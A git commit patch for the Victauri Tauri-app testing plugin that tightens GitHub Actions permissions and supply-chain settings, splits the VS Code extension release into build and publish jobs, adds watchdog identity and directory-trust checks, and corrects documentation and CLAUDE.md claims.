LICENSE copied into every published crate (cargo package --list includes it). victauri init - generated workflow: `permissions: contents: read`, persist-credentials: false, SHA-pinning guidance for the tag-pinned victauri-test action. - .mcp.json built with serde_json (hostile identifiers are escaped, not spliced). - never writes through a symlink: new files use create_new after a symlink check; the CLAUDE.md append refuses symlinks / non-regular files. Tests added. victauri-watchdog - identity pinning: once resolved, only discovery entries with that identity are followed; a dead watched pid is a failure even if another app answers the port; with --app/VICTAURI_APP and no match it reports the app DOWN instead of polling the default port. - discovery trust: base + entry dirs must be owned by the current euid (Unix, no unsafe) and not group/other-writable; Windows rejects symlinks/junctions. Tests. Docs: README/tools-reference action names regenerated from the real enums (+ route/trace/animation), overclaims corrected (latency, "identical on all platforms", dev-dependency advice, WebKitGTK CDP), tools-reference semantics for explain/db_health/replay/trace/fault/route, stale CLAUDE.md present-tense sections. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- .github/workflows/docs.yml | 13 +- .github/workflows/e2e.yml | 89 ++++- .github/workflows/release-vscode.yml | 110 +++-- .github/workflows/release.yml | 6 +- .github/workflows/surface-audit.yml | 45 ++- CLAUDE.md | 36 +- README.md | 29 +- crates/victauri-cli/LICENSE | 190 +++++++++ crates/victauri-cli/src/main.rs | 207 ++++++++-- crates/victauri-core/LICENSE | 190 +++++++++ crates/victauri-macros/LICENSE | 190 +++++++++ crates/victauri-plugin/LICENSE | 190 +++++++++ crates/victauri-test/LICENSE | 190 +++++++++ crates/victauri-watchdog/LICENSE | 190 +++++++++ crates/victauri-watchdog/src/main.rs | 578 +++++++++++++++++++++++---- deny.toml | 4 +- docs/src/architecture.md | 8 +- docs/src/compatibility.md | 4 +- docs/src/configuration.md | 2 +- docs/src/faq.md | 10 +- docs/src/introduction.md | 6 +- docs/src/security.md | 2 +- docs/src/testing-tauri-apps.md | 4 +- docs/src/tools-reference.md | 131 ++++-- editors/vscode/README.md | 4 +- scripts/bump-version.ps1 | 12 +- scripts/bump-version.sh | 19 +- scripts/deep-test/macos-tcc-check.sh | 7 +- 28 files changed, 2204 insertions(+), 262 deletions(-) create mode 100644 crates/victauri-cli/LICENSE create mode 100644 crates/victauri-core/LICENSE create mode 100644 crates/victauri-macros/LICENSE create mode 100644 crates/victauri-plugin/LICENSE create mode 100644 crates/victauri-test/LICENSE create mode 100644 crates/victauri-watchdog/LICENSE diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml index dd8cf452..166581d5 100644 --- a/.github/workflows/docs.yml +++ b/.github/workflows/docs.yml @@ -8,10 +8,10 @@ on: - '.github/workflows/docs.yml' workflow_dispatch: +# Least privilege: read-only by default. Only the deploy job (which runs no repo code) +# gets the Pages + OIDC permissions it needs. permissions: contents: read - pages: write - id-token: write concurrency: group: pages @@ -20,8 +20,13 @@ concurrency: jobs: build: runs-on: ubuntu-latest + timeout-minutes: 15 + permissions: + contents: read steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false - name: Install mdBook uses: peaceiris/actions-mdbook@062dc9e3eab0bad35531417c6bb6c6a7a184764f # v2 @@ -39,6 +44,10 @@ jobs: deploy: needs: build runs-on: ubuntu-latest + timeout-minutes: 15 + permissions: + pages: write + id-token: write environment: name: github-pages url: ${{ steps.deployment.outputs.page_url }} diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml index 82837457..fabc559e 100644 --- a/.github/workflows/e2e.yml +++ b/.github/workflows/e2e.yml @@ -1,70 +1,121 @@ -name: E2E Tests +name: E2E Tests (victauri-test client suites) +# On-demand live-app run of the `victauri-test` crate's OWN e2e suites +# (e2e_demo_app / high_level_api / verify_builder). These are NOT covered by ci.yml: +# ci.yml's `e2e` job runs `demo-app --test integration` + the smoke action, which +# exercises the plugin through the demo app's test file, not these client-API suites. +# Kept manual (workflow_dispatch) because the three suites overlap heavily with the +# gating ci.yml job; run it before a release that changes victauri-test. on: workflow_dispatch: +permissions: + contents: read + env: CARGO_TERM_COLOR: always RUSTFLAGS: "-Dwarnings" + VICTAURI_PORT: "7374" jobs: e2e: - name: E2E Integration Tests + name: victauri-test E2E (${{ matrix.os }}) runs-on: ${{ matrix.os }} + timeout-minutes: 40 strategy: fail-fast: false matrix: os: [ubuntu-latest, windows-latest] steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false - name: Install system dependencies (Linux) if: runner.os == 'Linux' - run: | - sudo apt-get update - sudo apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev libgtk-3-dev xvfb + uses: ./.github/actions/linux-deps + with: + xvfb: "true" + # The action is pinned by SHA, so the toolchain MUST be given explicitly + # (only the @stable/@1.xx refs infer it from the ref name). - uses: dtolnay/rust-toolchain@3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9 # master (2026-06) + with: + toolchain: stable - uses: Swatinem/rust-cache@9d47c6ad4b02e050fd481d890b2ea34778fd09d6 # v2.7.8 + with: + save-if: false - - name: Build demo app - run: cargo build -p demo-app + - name: Build demo app + test binaries + run: | + cargo build -p demo-app + cargo test -p victauri-test --no-run --test e2e_demo_app --test high_level_api --test verify_builder + shell: bash + # Launch the already-built binary (not `cargo run`, which would recompile inside + # the readiness window). stderr is captured so a host crash is diagnosable. - name: Start demo app (Linux) if: runner.os == 'Linux' run: | - xvfb-run --auto-servernum cargo run -p demo-app & - sleep 10 - env: - VICTAURI_PORT: "7374" + xvfb-run -a ./target/debug/demo-app >/tmp/demo-app.out 2>/tmp/demo-app.err & + echo "APP_PID=$!" >> "$GITHUB_ENV" - name: Start demo app (Windows) if: runner.os == 'Windows' shell: pwsh run: | - $env:VICTAURI_PORT = "7374" - Start-Process -NoNewWindow cargo -ArgumentList "run","-p","demo-app" - Start-Sleep -Seconds 10 + # Run a COPY so a later relink of demo-app.exe is not blocked by the running image. + Copy-Item .\target\debug\demo-app.exe .\target\debug\demo-app-run.exe -Force + $proc = Start-Process -FilePath .\target\debug\demo-app-run.exe -PassThru + "APP_PID=$($proc.Id)" | Out-File -Append -FilePath $env:GITHUB_ENV -Encoding utf8 - - name: Verify server is running - run: curl -s http://127.0.0.1:7374/health + - name: Wait for the Victauri server shell: bash + run: | + # Poll /health until it answers 2xx (curl -f fails on HTTP errors), up to 120s. + for i in $(seq 1 120); do + if curl -sf --max-time 2 "http://127.0.0.1:${VICTAURI_PORT}/health" >/dev/null; then + echo "Victauri server healthy after ${i}s" + exit 0 + fi + sleep 1 + done + echo "::error::Victauri server did not become healthy on :${VICTAURI_PORT} within 120s" + exit 1 - name: Run E2E tests run: cargo test -p victauri-test --test e2e_demo_app -- --test-threads=1 env: VICTAURI_E2E: "1" - VICTAURI_PORT: "7374" - name: Run high-level API tests run: cargo test -p victauri-test --test high_level_api -- --test-threads=1 env: VICTAURI_E2E: "1" - VICTAURI_PORT: "7374" - name: Run verify builder tests run: cargo test -p victauri-test --test verify_builder -- --test-threads=1 env: VICTAURI_E2E: "1" - VICTAURI_PORT: "7374" + + - name: Show demo app output on failure (Linux) + if: failure() && runner.os == 'Linux' + run: | + echo "::group::demo-app stderr" + tail -n 200 /tmp/demo-app.err 2>/dev/null || echo "(no stderr captured)" + echo "::endgroup::" + if [ -n "$APP_PID" ] && ! kill -0 "$APP_PID" 2>/dev/null; then + echo "::warning::demo-app (PID $APP_PID) is NOT running — the host process died." + fi + + - name: Cleanup (Linux) + if: always() && runner.os == 'Linux' + run: | + if [ -n "$APP_PID" ]; then kill "$APP_PID" 2>/dev/null || true; fi + + - name: Cleanup (Windows) + if: always() && runner.os == 'Windows' + shell: pwsh + run: | + if ($env:APP_PID) { Stop-Process -Id $env:APP_PID -Force -ErrorAction SilentlyContinue } diff --git a/.github/workflows/release-vscode.yml b/.github/workflows/release-vscode.yml index 36746f2a..cd3a262f 100644 --- a/.github/workflows/release-vscode.yml +++ b/.github/workflows/release-vscode.yml @@ -2,51 +2,60 @@ name: Release VS Code Extension # Decoupled from the core workspace release. Ships ONLY when you tag it: # git tag vscode-v0.7.1 && git push origin vscode-v0.7.1 -# Or run manually (workflow_dispatch) with dry_run=true to just build + package. +# Or run manually (workflow_dispatch): +# - dry_run=true (default): build + typecheck + package the .vsix and upload it as a +# workflow artifact. Works from ANY branch — it never touches the `release` +# environment or any secret. +# - dry_run=false: also publishes. The publish job runs in the `release` environment, +# whose deployment-branch policy only admits tag refs, so a real manual publish MUST be +# dispatched ON A TAG ("Use workflow from" → the vscode-v* tag), not on a branch. # -# Required secrets (Settings → Secrets → Actions): +# Required secrets (environment `release`): # VSCE_PAT — Azure DevOps PAT, Marketplace → Manage scope (publisher 4da-systems) # OVSX_TOKEN — (optional) open-vsx.org token, for Cursor / VSCodium / agent IDEs +# +# Supply-chain shape (audit hardening): +# - `build` holds NO secrets and only a read-only token. Dependency install scripts are +# disabled (`--ignore-scripts`; esbuild/vsce/vsce-sign/keytar all work without them — +# verified: lint, build and `vsce package` succeed), and the checkout does not persist +# its token into .git/config. +# - `publish` downloads the already-built .vsix and only runs the pinned vsce/ovsx CLIs +# (installed with `--ignore-scripts` too). Each publish token is scoped to the single +# step that uses it. on: push: tags: ["vscode-v*"] workflow_dispatch: inputs: dry_run: - description: "Build + package only (do not publish)" + description: "Build + package only (do not publish). A real publish must be dispatched on a vscode-v* tag." type: boolean default: true -# Least-privilege: default to read-only at the workflow level. Only the single -# publish job gets `contents: write`, and only because its final step attaches the -# .vsix to a GitHub Release (softprops/action-gh-release). Marketplace / Open VSX -# publishing authenticates via VSCE_PAT / OVSX_TOKEN, not the GitHub token. permissions: contents: read jobs: - publish: - name: Build & publish VS Code extension + build: + name: Build & package VS Code extension runs-on: ubuntu-latest - environment: release + timeout-minutes: 20 permissions: - contents: write # required: attach .vsix to the GitHub Release - env: - # Job-level so the Open VSX step's `if:` can read `env.OVSX_TOKEN` — a step-level `env:` - # is NOT in scope for that same step's `if:` expression, which silently skipped the publish. - OVSX_TOKEN: ${{ secrets.OVSX_TOKEN }} + contents: read defaults: run: working-directory: editors/vscode steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: 22 - - name: Install dependencies - run: npm ci --no-audit --no-fund + - name: Install dependencies (no install scripts) + run: npm ci --ignore-scripts --no-audit --no-fund - name: Typecheck run: npm run lint @@ -66,24 +75,77 @@ jobs: fi # Publish tooling is installed strictly from package-lock.json above. `--no-install` - # prevents npx from fetching mutable registry code during a credentialed release. + # prevents npx from fetching mutable registry code. - name: Package .vsix run: npx --no-install vsce package --no-dependencies -o victauri.vsix + - name: Upload .vsix + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 + with: + name: victauri-vsix + path: editors/vscode/victauri.vsix + if-no-files-found: error + retention-days: 14 + + publish: + name: Publish VS Code extension + needs: build + # Only when actually publishing: a tag push, or a manual dispatch with dry_run=false. + # Dry runs never enter the `release` environment, so they work from any branch. + if: startsWith(github.ref, 'refs/tags/vscode-v') || (github.event_name == 'workflow_dispatch' && github.event.inputs.dry_run == 'false') + runs-on: ubuntu-latest + timeout-minutes: 20 + environment: release + permissions: + contents: write # required: attach .vsix to the GitHub Release + defaults: + run: + working-directory: editors/vscode + steps: + - name: Require a vscode-v* tag ref for a real publish + working-directory: . + run: | + case "$GITHUB_REF" in + refs/tags/vscode-v*) ;; + *) echo "::error::A real publish must be dispatched on a vscode-v* tag (got $GITHUB_REF). Re-run with 'Use workflow from' set to the tag, or use dry_run=true."; exit 1 ;; + esac + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false + + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 + with: + node-version: 22 + + # Only the pinned publish CLIs are needed here; no install scripts run. + - name: Install publish tooling (no install scripts) + run: npm ci --ignore-scripts --no-audit --no-fund + + - name: Download .vsix + uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 + with: + name: victauri-vsix + path: editors/vscode + - name: Publish to VS Code Marketplace - if: startsWith(github.ref, 'refs/tags/') || github.event.inputs.dry_run == 'false' run: npx --no-install vsce publish --packagePath victauri.vsix -p "$VSCE_PAT" env: VSCE_PAT: ${{ secrets.VSCE_PAT }} - name: Publish to Open VSX (Cursor / VSCodium / agent IDEs) - # `env.OVSX_TOKEN` resolves from the job-level `env:` above (a step-level env is not in - # scope for its own `if:`), so the step now actually runs when the secret is configured. - if: ${{ (startsWith(github.ref, 'refs/tags/') || github.event.inputs.dry_run == 'false') && env.OVSX_TOKEN != '' }} - run: npx --no-install ovsx publish victauri.vsix -p "$OVSX_TOKEN" + # The token is scoped to this step only; the optional-secret check happens in the + # shell (a step-level env is not visible to that step's own `if:`). + run: | + if [ -z "$OVSX_TOKEN" ]; then + echo "OVSX_TOKEN not configured — skipping Open VSX publish." + exit 0 + fi + npx --no-install ovsx publish victauri.vsix -p "$OVSX_TOKEN" + env: + OVSX_TOKEN: ${{ secrets.OVSX_TOKEN }} - name: Attach .vsix to GitHub Release - if: startsWith(github.ref, 'refs/tags/') uses: softprops/action-gh-release@da05d552573ad5aba039eaac05058a918a7bf631 # v2.2.2 with: name: ${{ github.ref_name }} diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index ba19643e..1f5a8727 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -296,9 +296,11 @@ jobs: - name: Generate changelog id: changelog run: | - # Get the previous tag - PREVIOUS_TAG=$(git tag --sort=-version:refname | grep -E '^v[0-9]' | sed -n '2p') CURRENT_TAG=${GITHUB_REF#refs/tags/} + # Previous release tag = the nearest v* tag reachable from the commit BEFORE this + # tag. Ancestry-based (not "second-highest version"), so a backport tag such as + # v0.8.9 cut after v0.9.0 gets ITS OWN history, not a diff against v0.9.0. + PREVIOUS_TAG=$(git describe --tags --abbrev=0 --match 'v[0-9]*' "${CURRENT_TAG}^" 2>/dev/null || true) if [ -z "$PREVIOUS_TAG" ]; then # First release — use all commits diff --git a/.github/workflows/surface-audit.yml b/.github/workflows/surface-audit.yml index f678222e..ba5ced92 100644 --- a/.github/workflows/surface-audit.yml +++ b/.github/workflows/surface-audit.yml @@ -9,12 +9,18 @@ on: - cron: "0 9 * * 1" # Mondays 09:00 UTC workflow_dispatch: +permissions: + contents: read + jobs: audit: name: Audit published surfaces vs repo runs-on: ubuntu-latest + timeout-minutes: 20 steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 with: @@ -25,6 +31,7 @@ jobs: run: | set +e DRIFT=0 + UNKNOWN=0 { echo "## Surface audit" echo "" @@ -36,40 +43,58 @@ jobs: # crates.io 403s any request without a User-Agent (crawler policy); an # empty curl body makes jq print NOTHING (not the "unknown" fallback), so # treat empty as unknown too — otherwise `repo gt ""` is a false DRIFT. + # An UNKNOWN result is NOT "in sync": it fails the job (separately from + # DRIFT) so a broken query can never produce a silent green. UA='victauri-surface-audit (+https://github.com/4DA-Systems/Victauri)' is_unknown() { [ -z "$1" ] || [ "$1" = unknown ] || [ "$1" = null ]; } - # --- crates.io (core; workspace version) --- + # --- crates.io: EVERY published crate vs the workspace version --- REPO_CRATE=$(grep -m1 -E '^version' Cargo.toml | sed -E 's/.*"([^"]+)".*/\1/') - PUB_CRATE=$(curl -fsSL -A "$UA" "https://crates.io/api/v1/crates/victauri-plugin" 2>/dev/null | jq -r '.crate.max_stable_version // .crate.max_version // "unknown"') - if is_unknown "$PUB_CRATE"; then PUB_CRATE=unknown; ST="⚠️ query failed"; - elif newer "$REPO_CRATE" "$PUB_CRATE"; then ST="❌ DRIFT (repo ahead — publish)"; DRIFT=1; - else ST="✅ in sync"; fi - echo "| crates.io (victauri-plugin) | $REPO_CRATE | $PUB_CRATE | $ST |" >> "$GITHUB_STEP_SUMMARY" + if [ -z "$REPO_CRATE" ]; then + echo "::error::could not read the workspace version from Cargo.toml" + UNKNOWN=1 + fi + for CRATE in victauri-core victauri-macros victauri-plugin victauri-test victauri-cli victauri-watchdog; do + PUB_CRATE=$(curl -fsSL -A "$UA" "https://crates.io/api/v1/crates/$CRATE" 2>/dev/null | jq -r '.crate.max_stable_version // .crate.max_version // "unknown"' 2>/dev/null) + if is_unknown "$PUB_CRATE" || is_unknown "$REPO_CRATE"; then + PUB_CRATE=unknown; ST="⚠️ UNKNOWN (query failed)"; UNKNOWN=1 + elif newer "$REPO_CRATE" "$PUB_CRATE"; then ST="❌ DRIFT (repo ahead — publish)"; DRIFT=1 + else ST="✅ in sync"; fi + echo "| crates.io ($CRATE) | $REPO_CRATE | $PUB_CRATE | $ST |" >> "$GITHUB_STEP_SUMMARY" + sleep 1 # crates.io crawler policy: at most 1 request/second + done # --- VS Code Marketplace --- REPO_VSC=$(node -p "require('./editors/vscode/package.json').version") PUB_VSC=$(curl -fsSL -A "$UA" -X POST "https://marketplace.visualstudio.com/_apis/public/gallery/extensionquery" \ -H "Accept: application/json;api-version=3.0-preview.1" -H "Content-Type: application/json" \ -d '{"filters":[{"criteria":[{"filterType":7,"value":"4da-systems.victauri"}]}],"flags":914}' 2>/dev/null \ - | jq -r '.results[0].extensions[0].versions[0].version // "unknown"') - if is_unknown "$PUB_VSC"; then PUB_VSC=unknown; ST="⚠️ not found / query failed"; - elif newer "$REPO_VSC" "$PUB_VSC"; then ST="❌ DRIFT (repo ahead — publish)"; DRIFT=1; + | jq -r '.results[0].extensions[0].versions[0].version // "unknown"' 2>/dev/null) + if is_unknown "$PUB_VSC" || is_unknown "$REPO_VSC"; then + PUB_VSC=unknown; ST="⚠️ UNKNOWN (not found / query failed)"; UNKNOWN=1 + elif newer "$REPO_VSC" "$PUB_VSC"; then ST="❌ DRIFT (repo ahead — publish)"; DRIFT=1 else ST="✅ in sync"; fi echo "| VS Code Marketplace (4da-systems.victauri) | $REPO_VSC | $PUB_VSC | $ST |" >> "$GITHUB_STEP_SUMMARY" echo "drift=$DRIFT" >> "$GITHUB_OUTPUT" + echo "unknown=$UNKNOWN" >> "$GITHUB_OUTPUT" - name: VS Code extension build health id: vscodehealth working-directory: editors/vscode run: | set -e - npm ci --no-audit --no-fund + npm ci --ignore-scripts --no-audit --no-fund npm run lint npm run build echo "✅ VS Code extension still typechecks + builds" >> "$GITHUB_STEP_SUMMARY" + - name: Fail if any registry query was unknown + if: steps.versions.outputs.unknown != '0' + run: | + echo "::error::At least one published-surface query FAILED or returned nothing (UNKNOWN in the job summary). The audit cannot vouch for that surface — fix the query/registry access, do not treat this as in sync." + exit 1 + - name: Fail if anything drifted if: steps.versions.outputs.drift != '0' run: | diff --git a/CLAUDE.md b/CLAUDE.md index 05291000..75895397 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -62,7 +62,7 @@ victauri/ ### How It Works -1. **victauri-plugin** is added as a dev dependency to any Tauri app +1. **victauri-plugin** is added as a normal `[dependencies]` entry to any Tauri app (not `[dev-dependencies]` — the app binary can't see those); it compiles to a no-op in release builds 2. The plugin starts an axum HTTP server on `127.0.0.1:7373` inside the app process 3. This server speaks MCP protocol (Streamable HTTP + SSE) 4. Claude Code (or any MCP client) connects and gets full-stack control @@ -120,12 +120,12 @@ Standalone binary. Monitors the MCP server health endpoint. 2. **Zero-cost in release** — everything gated behind `#[cfg(debug_assertions)]` 3. **Full-stack** — webview + IPC + backend + DB, not just DOM 4. **MCP-native** — speaks the protocol AI agents already understand -5. **Cross-platform** — no CDP dependency, works on Windows/macOS/Linux identically +5. **Cross-platform** — no CDP dependency; the same tool surface on Windows/macOS/Linux, with documented limits (trusted OS-level input is Windows-only; Linux screenshots need X11/XWayland — pure Wayland errors clearly) 6. **Plugin, not framework** — one line in Cargo.toml to add, one line to remove ## Design Decisions -- **Why embedded, not external?** Eliminates the three-hop state drift that plagues Playwright. Direct AppHandle access gives sub-ms tool response times. +- **Why embedded, not external?** Eliminates the three-hop state drift that plagues Playwright. Direct AppHandle access means Rust-side tools answer in well under a millisecond; webview tools are a JS round trip through the webview (typically ~10-30 ms). - **Why axum, not stdio?** Tauri apps are GUI processes — stdin/stdout aren't wired for MCP. HTTP/SSE on localhost is the right transport for an already-running process. - **Why ref handles, not selectors?** Following Playwright MCP's proven model. Refs are semantic (ARIA-derived), short-lived, and survive DOM restructuring within a snapshot. - **Why a watchdog?** If the app crashes, the embedded MCP server dies. The watchdog detects this and can alert the agent or trigger recovery. @@ -1032,32 +1032,32 @@ Tested against 4 third-party open-source Tauri 2 apps with fully built frontends - **victauri-macros**: `#[inspectable]` proc macro with `description`, `intent`, `category`, `example` attributes. Uses proper `syn::meta` parsing (not string matching). Generates `__schema()` returning `CommandInfo` with full intent metadata. 4 integration tests. - **victauri-plugin**: Full MCP server with **35 tools** + 3 resources. Tools organized by category: - **Standalone (20)**: eval_js, dom_snapshot, find_elements, invoke_command, screenshot, verify_state, detect_ghost_commands, check_ipc_integrity, wait_for (text/selector/url/ipc_idle/network_idle + **expression**/**event** for awaiting async backend work), assert_semantic, resolve_command, get_registry, **app_state** (app-defined backend-state probes), get_memory_stats, get_plugin_info, get_diagnostics, app_info, list_app_dir, read_app_file, query_db - - **Compound (15)**: interact (click/hover/focus/scroll/select), input (fill/type/press_key), window (get_state/list/manage/resize/move/set_title), storage (get/set/delete/cookies), navigate (go_to/back/history/dialogs), recording (start/stop/checkpoint/events/export/import/replay), inspect (styles/bounds/highlight/a11y/perf), css (inject/remove), route (network interception), trace (screencast ring buffer), animation (list/scrub/sample), logs (console/network/ipc/navigation/dialogs/events/slow_ipc), **introspect** (command_timings/coverage/command_catalog/contract_record/contract_check/contract_list/contract_clear/startup_timing/capabilities/db_health/plugin_state/processes/plugin_tasks/event_bus/event_bus_clear), **fault** (inject/list/clear/clear_all), **explain** (summary/last_action/diff) - Resources: victauri://ipc-log, victauri://windows, victauri://state with subscribe/unsubscribe. JS bridge v0.7.8 with IPC interception, network monitoring, storage access, navigation tracking, dialog capture, extended interactions, and waitFor. `EventRecorder` with 50,000 event capacity. **Release-safe**: `init()` returns a no-op plugin in release builds via `#[cfg(debug_assertions)]` gate. `VictauriBuilder` for port/capacity/auth configuration + `VICTAURI_PORT`/`VICTAURI_AUTH_TOKEN` env vars. Bearer token auth middleware (**enabled by default** with auto-generated UUID v4 token, case-insensitive per RFC 7235). `auth_disabled()` to opt out, or `auth_token("...")` for a fixed token. Token-bucket rate limiter (AtomicU64, 1000 req/sec default). Privacy layer with command allowlists/blocklists, tool disabling, regex-based output redaction, strict mode. Tool enable/disable via builder. 203 unit tests + 128 integration tests + 38 adversarial tests + 85 tool contract tests + 30 bridge tests + 22 stress tests + 19 platform tests. + - **Compound (15)**: interact (click/double_click/hover/focus/scroll_into_view/select_option), input (fill/type_text/press_key), window (get_state/list/manage/resize/move_to/set_title/introspectability), storage (get/set/delete/get_cookies), navigate (go_to/go_back/get_history/set_dialog_response/get_dialog_log), recording (start/stop/checkpoint/list_checkpoints/get_events/events_between/get_replay/export/import/replay/flush), inspect (get_styles/get_bounding_boxes/highlight/clear_highlights/audit_accessibility/get_performance), css (inject/remove), route (add/list/clear/clear_all/matches — fetch/XHR interception; Tauri IPC is observe-only), trace (start/stop/status/frames — screencast ring buffer), animation (list/scrub/sample), logs (console/network/ipc/navigation/dialogs/events/slow_ipc/clear), **introspect** (command_timings/coverage/command_catalog/contract_record/contract_check/contract_list/contract_clear/startup_timing/capabilities/db_health/plugin_state/processes/plugin_tasks/event_bus/event_bus_clear), **fault** (inject/list/clear/clear_all), **explain** (summary/last_action/diff) + Resources: victauri://ipc-log, victauri://windows, victauri://state (read on demand; `resources.subscribe` is NOT advertised — legacy subscribe/unsubscribe calls are accepted but nothing pushes updates). JS bridge (version = the crate version, injected at build time) with IPC interception, network monitoring, storage access, navigation tracking, dialog capture, extended interactions, and waitFor. `EventRecorder` with 50,000 event capacity. **Release-safe**: `init()` returns a no-op plugin in release builds via `#[cfg(debug_assertions)]` gate. `VictauriBuilder` for port/capacity/auth configuration + `VICTAURI_PORT`/`VICTAURI_AUTH_TOKEN` env vars. Bearer token auth middleware (**enabled by default** with auto-generated UUID v4 token, case-insensitive per RFC 7235). `auth_disabled()` to opt out, or `auth_token("...")` for a fixed token. Token-bucket rate limiter (AtomicU64, 1000 req/sec default). Privacy layer with command allowlists/blocklists, tool disabling, regex-based output redaction, strict mode. Tool enable/disable via builder. 203 unit tests + 128 integration tests + 38 adversarial tests + 85 tool contract tests + 30 bridge tests + 22 stress tests + 19 platform tests. - **victauri-test**: Typed MCP HTTP client (`VictauriClient`) with auto-session management (initialize + notifications/initialized). 23 convenience methods for tool calls (eval_js, dom_snapshot, click, fill, etc). 6 standalone assertion helpers: `assert_json_eq`, `assert_json_truthy`, `assert_no_a11y_violations`, `assert_performance_budget`, `assert_ipc_healthy`, `assert_state_matches`. 11 client assertion methods: `assert_eval_works`, `assert_dom_snapshot_valid`, `assert_screenshot_ok`, `assert_windows_exist`, `assert_ipc_integrity_ok`, `assert_accessible`, `assert_dom_complete_under`, `assert_heap_under_mb`, `assert_no_uncaught_errors`, `assert_recording_lifecycle`, `assert_health_hardened`. Built-in `smoke_test()` suite (11 checks, returns `SmokeReport` with timing + JUnit XML). `SmokeConfig` for custom thresholds. Supports Bearer token auth via `connect_with_token`. Published to crates.io as standalone crate. - **victauri-cli**: CLI binary (`victauri`) with 8 commands: `init` (scaffold test directory + CLAUDE.md with agent instructions), `check` (server diagnostics), `test` (built-in smoke suite — 11 checks with pass/fail + JUnit XML), `record` (capture interactions → test file), `doctor` (full setup diagnosis), `watch` (file watcher → re-run tests), `invoke` (call any Tauri IPC command from terminal), `coverage` (IPC command coverage report). `victauri test` auto-discovers the running app, runs all smoke checks, prints a summary, exits 0/1 for CI. Configurable `--max-load-ms` and `--max-heap-mb` thresholds. `victauri init` creates/appends CLAUDE.md with instructions that make AI agents prefer Victauri over CDP/Playwright. - **victauri-watchdog**: Configurable via env vars (`VICTAURI_PORT`, `VICTAURI_INTERVAL`, `VICTAURI_MAX_FAILURES`, `VICTAURI_ON_FAILURE`). Proper `tracing-subscriber` log output. Executes configurable recovery commands on failure. Fires recovery action once per failure cycle, resets on recovery. - **demo-app**: Multi-window Tauri 2 app in `examples/demo-app/` with Victauri wired up. 21 commands (greet, counter CRUD, todo CRUD, settings, contact form with validation, notifications with cross-window events, window management, app state dump, plus a fire-and-forget `run_pipeline` + `pipeline_status` mirroring a real async backend job) all decorated with `#[inspectable]`. Registers a `pipeline` `app_state` probe and emits a `pipeline-complete` event for the async-completion demo. Tab-based navigation with ARIA attributes, `data-testid` on all interactive elements. Notification panel window with event sync. 20 integration tests in `tests/integration.rs` demonstrating every Victauri testing pattern (direct client API, Locator API, IPC verification, cross-boundary state, a11y audit, perf monitoring, time-travel recording, verify builder). Includes `.mcp.json` for immediate Claude Code connection. -- **CI/CD**: GitHub Actions `ci.yml` (clippy + tests + docs on Linux/Windows/macOS, format check, Chrome extension vitest job) + `release.yml` (test gate → 12-matrix cross-platform builds → Chrome extension zip → sequential crates.io publish → GitHub Release with all artifacts). All crate code passes `cargo fmt --check`. -- **docs/**: mdbook documentation site — 10 pages covering introduction, getting started, architecture, tools reference, Chrome extension, testing, configuration, security, FAQ. +- **CI/CD**: GitHub Actions `ci.yml` (clippy + tests + docs on Linux/Windows/macOS, format check, live-app E2E on all 3 OS, cross-engine gauntlet, `CI Success` aggregate gate) + `release.yml` (test gate → cross-platform CLI/watchdog binary builds → sequential crates.io publish → GitHub Release with the binaries) + `release-vscode.yml` (VS Code extension, own `vscode-v*` tag; build job holds no secrets, publish job is environment-gated) + `surface-audit.yml` (weekly registry-drift check, fails on drift OR an unknown/failed query) + `docs.yml` (mdbook → Pages) + `e2e.yml` (manual: victauri-test client e2e suites). (The Chrome-extension jobs went with browser mode, removed 2026-06-09.) All crate code passes `cargo fmt --check`. +- **docs/**: mdbook documentation site — 10 pages: introduction, getting started, compatibility, architecture, tools reference, testing, testing Tauri apps (approach comparison), configuration, security, FAQ. ### Architecture notes: -- **victauri-browser architecture** — `MCP Client → axum HTTP :7474 → Native Messaging (stdio) → Chrome Extension Service Worker → Content Script (MAIN world)`. The Rust binary serves dual roles: HTTP server for MCP clients AND native messaging host for Chrome. Both run concurrently via tokio tasks. The `BridgeDispatch` sends UUID-tagged commands to stdout (Chrome native messaging), and a spawned reader task receives responses on stdin and resolves oneshot channels. The `mcp_handler.rs` routes all 20 tools: `get_plugin_info` and `tabs.list` are handled locally in the Rust host; everything else is dispatched to the Chrome extension via native messaging → service worker → content script relay → MAIN world bridge. The content script uses CustomEvents (`__victauri_command`/`__victauri_response`) to bridge ISOLATED ↔ MAIN worlds. Navigation uses `chrome.tabs.update()` instead of content script `window.location`, and cookies use `chrome.cookies.getAll()` for httpOnly access. -- **bridge.rs** — `WebviewBridge` trait (public) erases the Tauri `Runtime` generic, allowing the MCP handler (which can't be generic) to access webview windows AND backend resources via `Arc`. 13 methods: eval_webview, get_window_states, list_window_labels, get_native_handle, manage_window, resize_window, move_window, set_window_title + backend access: app_data_dir, app_config_dir, app_log_dir, app_local_data_dir, tauri_config. Impl provided for `AppHandle`. Backend methods have default implementations (return error) so mock bridges work without change. Cross-platform `get_native_handle`: Windows HWND, macOS CGWindowID (via ObjC runtime `windowNumber`), Linux Xlib/Xcb window ID. Testable via mock implementations. +- **victauri-browser (REMOVED 2026-06-09)** — the Chrome/Firefox-extension + native-messaging host (`:7474`) 